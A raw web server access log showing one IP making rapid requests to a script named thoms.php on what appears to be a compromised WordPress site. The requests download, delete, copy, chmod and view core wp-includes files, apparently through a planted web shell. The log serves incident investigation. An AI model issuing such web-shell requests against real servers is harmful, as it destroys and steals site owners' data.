45.135.193.11 - - [11/Sep/2026:23:27:39 -0400] "GET /thoms.php?dl=class-json.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=class-json.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:39 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=canonical.php HTTP/1.1" 200 22998 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=canonical.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:39 -0400] "GET /thoms.php?del=class-wp-image-editor-gd.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-gd.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:39 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-view-config-data.php HTTP/1.1" 200 21220 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-view-config-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:39 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:39 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=deprecated.php HTTP/1.1" 200 66162 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:39 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=ms-functions.php HTTP/1.1" 200 37975 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=ms-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:40 -0400] "GET /thoms.php?chmod=class-wp-network-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:39 -0400] "GET /thoms.php?dl=ms-settings.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59132 "http://163.245.207.76:443/thoms.php?dl=ms-settings.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:39 -0400] "GET /thoms.php?del=plugin.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 58674 "http://163.245.207.76:443/thoms.php?del=plugin.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:40 -0400] "GET /thoms.php?dl=registration-functions.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?dl=registration-functions.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:40 -0400] "GET /bossini.com.tw/wp-includes/html-api/ HTTP/1.1" 200 1632 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffonts&p= HTTP/1.1" 200 12337 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffonts&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:40 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-customize-setting.php HTTP/1.1" 200 20174 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-customize-setting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:41 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php HTTP/1.1" 200 12489 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:40 -0400] "GET /thoms.php?del=class-wp-locale-switcher.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?del=class-wp-locale-switcher.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:40 -0400] "GET /thoms.php?del=class-wp-meta-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59167 "http://163.245.207.76:443/thoms.php?del=class-wp-meta-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:40 -0400] "GET /thoms.php?dl=taxonomy.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59166 "http://163.245.207.76:443/thoms.php?dl=taxonomy.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:41 -0400] "GET /bossini.com.tw/wp-includes/class-wp-customize-section.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:41 -0400] "GET /thoms.php?del=block-bindings&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?del=block-bindings&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:41 -0400] "GET /thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:41 -0400] "GET /thoms.php?del=class-wp-block-patterns-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-block-patterns-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:42 -0400] "GET /thoms.php?chmod=class-wp-view-config-data.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-view-config-data.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:42 -0400] "GET /thoms.php?chmod=class-wp-paused-extensions-storage.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11546 "http://163.245.207.76:443/thoms.php?chmod=class-wp-paused-extensions-storage.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:42 -0400] "GET /bossini.com.tw/wp-includes/class-wp-walker.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:42 -0400] "GET /bossini.com.tw/wp-includes/ms-blogs.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:42 -0400] "GET /bossini.com.tw/wp-includes/sitemaps.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:42 -0400] "GET /thoms.php?chmod=plugin.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=plugin.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Frss-functions.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Frss-functions.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:42 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-table.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-table.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:42 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=category-template.php HTTP/1.1" 200 28734 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=category-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:42 -0400] "GET /bossini.com.tw/wp-includes/class-wp-http-proxy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:42 -0400] "GET /bossini.com.tw/wp-includes/class-wp-theme-json-data.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:43 -0400] "GET /thoms.php?chmod=class-wp-ajax-response.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-wp-ajax-response.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:42 -0400] "GET /thoms.php?dl=canonical.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=canonical.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:43 -0400] "GET /thoms.php?chmod=class-wp-xmlrpc-server.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-xmlrpc-server.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:43 -0400] "GET /bossini.com.tw/wp-includes/class-wp-tax-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:43 -0400] "GET /thoms.php?chmod=class-wp-block-type.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:43 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-feed-cache.php HTTP/1.1" 200 12422 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-feed-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:43 -0400] "GET /bossini.com.tw/wp-includes/functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:43 -0400] "GET /bossini.com.tw/wp-includes/ms-network.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:43 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=wp-diff.php HTTP/1.1" 200 12234 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=wp-diff.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:43 -0400] "GET /thoms.php?del=general-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=general-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblock-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblock-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:43 -0400] "GET /thoms.php?del=view-config.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59175 "http://163.245.207.76:443/thoms.php?del=view-config.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:43 -0400] "GET /thoms.php?del=Text&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=Text&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:44 -0400] "GET /bossini.com.tw/wp-includes/class-wp-image-editor-imagick.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:44 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=cron.php HTTP/1.1" 200 22855 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fbuild&p= HTTP/1.1" 200 12327 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fbuild&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Futf8.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Futf8.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:44 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fhtml-api HTTP/1.1" 200 15280 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fhtml-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:44 -0400] "GET /thoms.php?chmod=pomo&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=pomo&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:44 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:44 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wpdb.php HTTP/1.1" 200 48407 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wpdb.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:44 -0400] "GET /bossini.com.tw/wp-includes/nav-menu.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fhttps-migration.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fhttps-migration.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:44 -0400] "GET /thoms.php?del=class-wp-customize-nav-menus.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-nav-menus.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:45 -0400] "GET /thoms.php?chmod=blocks.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=blocks.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:45 -0400] "GET /thoms.php?chmod=class-wp-http-streams.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-streams.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-url-pattern-prefixer.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-url-pattern-prefixer.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:45 -0400] "GET /thoms.php?del=class-walker-category-dropdown.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-walker-category-dropdown.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:45 -0400] "GET /bossini.com.tw/wp-includes/class.wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:45 -0400] "GET /thoms.php?dl=class-wp-connector-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59161 "http://163.245.207.76:443/thoms.php?dl=class-wp-connector-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:45 -0400] "GET /bossini.com.tw/wp-includes/view-config.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
